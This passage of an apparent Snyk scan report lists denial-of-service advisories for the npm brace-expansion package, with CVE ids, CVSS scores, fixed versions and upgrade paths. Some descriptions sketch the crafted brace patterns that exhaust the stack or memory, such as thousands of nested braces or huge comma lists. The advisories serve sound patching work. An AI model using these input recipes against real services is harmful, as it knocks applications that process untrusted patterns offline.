"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
